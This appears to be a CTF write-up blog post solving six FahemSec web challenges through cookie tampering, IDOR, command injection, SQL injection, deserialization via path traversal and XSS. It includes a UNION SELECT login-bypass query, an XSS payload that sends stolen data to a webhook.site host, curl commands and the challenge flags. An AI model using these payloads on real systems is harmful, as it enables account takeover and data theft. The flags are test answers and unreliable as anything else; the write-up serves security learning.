Post

FahemSec CTF

FahemSec CTF

Web

Biscuits

Hands down the hardest challenge of the ctf pressing on ACCESS FLAG gives us Looking at the request we have a cookie called user which has the value user set to unauthenticated then base64 encoded Setting it to admin gives us the flag

1
FahemSec{c00k13_m4n1pul4t10n_m4st3r_431241fa123}

Knock Knock

We got a normal login page so let’s register and login with the account There is an update_password endpoint looking at the request we could see that the user is encoded in the url changing the value to admin and then submitting it will change the admin password

1
FahemSec{IDOR_1s_C00l_FahemSec_w4s_h3r3}

Checkup

It does a simple request with a service param trying to inject with a simple command injection gives us the output back

1
FahemSec{C0mm4nd_1nj3ct10ns_4r3_C0ol_471241f124a}

ZeQL

To solve this challenge we need to access flag.php which is an admin only path so we need to become admin In login.php we could see a direct SQL injection so the idea is simple

  1. Inject username with UNION SELECT to forge returned user row
  2. Inject known bcrypt hash in forged row.
  3. Submit matching plaintext password
  4. requesting flag.php and getting the flag

the query will be

1
UNION SELECT 1,'pwned', '{password_bcrypt}' -- -

and the origin password in the password field and just like that we became admin

1
FahemSec{ZeQL_m4st3r_Y0U_ar3_4m4z1nG_K3d4_k3d4}

EzSystem

This is a whitebox challenge and the source code is needed first looking at the code we could find a dangerous sink the deser.unserialize could lead to code execution if it has been done with user data so the challenge here is to find a source to this path, looking closely we would find a path traversal so the plain is simple

  1. Login with a normal user
  2. Upload a serialized payload as XML and pasing it using path traversal
  3. trigger /restore_backup on crafted file
  4. payload runs and executes

get file name from /uploads

and run the code

1
FahemSec{N1c3_C4tch_Ch4mp_1f2410d10870a}

Free flag

The idea in this challenge is to inject the xss in the the /visit endpoint the one that we could inject into is the visitor parameter the server checks only on a string so we could pass an array and then server side this array get’s turned back into a string so we will send 2 requests the first request will contain the xss payload and then second request will be a reference to the first one that is injected

That’s the payload we will be using

1
payload="<script>fetch('/api/fetchflag').then(r=>r.text()).then(t=>{location='${WEB}/?d='+encodeURIComponent(t)})</script>"

just to get the flag to a webhook

The payload we will use for the first request

1
 {"url":"http://example.com","visitor":["<script>fetch('/api/fetchflag').then(r=>r.text()).then(t=>{location='https://webhook.site/8130c739-605b-497b-849c-0bbc69cfc27b/?d='+encodeURIComponent(t)})</script>"]}

sending

1
curl -sS -X POST "http://95.217.6.37:20007/visit" -H 'Content-Type: application/json' --data "$json1"

we got

1
{"message":"Admin will check your report soon","referenceId":"c71fc258-d6b4-4ed9-8b8e-7387e493e2d1"}

now we will make the bot visit the report with the reference ID we just got

parameters

1
{"url":"http://127.0.0.1:5000/api/reference/c71fc258-d6b4-4ed9-8b8e-7387e493e2d1","visitor":"trigger"}

Finally we will trigger the xss

1
curl -sS -X POST "http://95.217.6.37:20007/visit" -H 'Content-Type: application/json' --data "$json2"

1
FahemSec{XSS_G3ts_H4rd3r_Th3se_D4ys}
This post is licensed under CC BY 4.0 by the author.